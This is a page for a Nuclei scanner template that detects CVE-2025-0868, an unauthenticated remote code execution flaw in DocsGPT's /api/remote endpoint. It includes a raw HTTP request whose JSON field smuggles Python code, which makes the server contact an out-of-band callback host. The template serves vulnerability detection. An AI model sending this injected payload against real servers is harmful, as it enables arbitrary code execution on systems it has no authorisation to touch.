Skip to content

DocsGPT - Unauthenticated Remote Code Execution

ID: CVE-2025-0868

Severity: critical

Author: iamnoooob,rootxharsh,pdresearch

Tags: cve,cve2025,docsgpt,unauth,rce

A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.

id: CVE-2025-0868
info:
name: DocsGPT - Unauthenticated Remote Code Execution
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
A vulnerability, that could result in Remote Code Execution (RCE), has been found in DocsGPT. Due to improper parsing of JSON data using eval() an unauthorized attacker could send arbitrary Python code to be executed via /api/remote endpoint.This issue affects DocsGPT- from 0.8.1 through 0.12.0.
reference:
- https://cert.pl/posts/2025/02/CVE-2025-0868/
- https://cert.pl/en/posts/2025/02/CVE-2025-0868/
- https://github.com/arc53/DocsGPT
classification:
epss-score: 0.00045
epss-percentile: 0.17965
metadata:
verified: true
max-request: 1
fofa-query: body="Welcome to DocsGPT"
tags: cve,cve2025,docsgpt,unauth,rce
http:
- raw:
- |
POST /api/remote HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user=1&source=reddit&name=other&data={"source":"reddit","client_id":"1111","client_secret":1111,"user_agent":"111","search_queries":[""],"number_posts":10,"rce\\\\":__import__('requests').get('http://{{interactsh-url}}/')}#":11}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- dns
- type: word
part: body
words:
- '"task_id":'
- '"status":'
condition: and
# digest: 4a0a00473045022100e4b9033d7ceae721ebab8d404ca39eb9f06821ba212c9fe7630e6d2812c14d19022031170adf167f1572146c1439af874fc90e8cc1b6e39d3b669d9910229968c8ec:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2025/CVE-2025-0868.yaml"

View on Github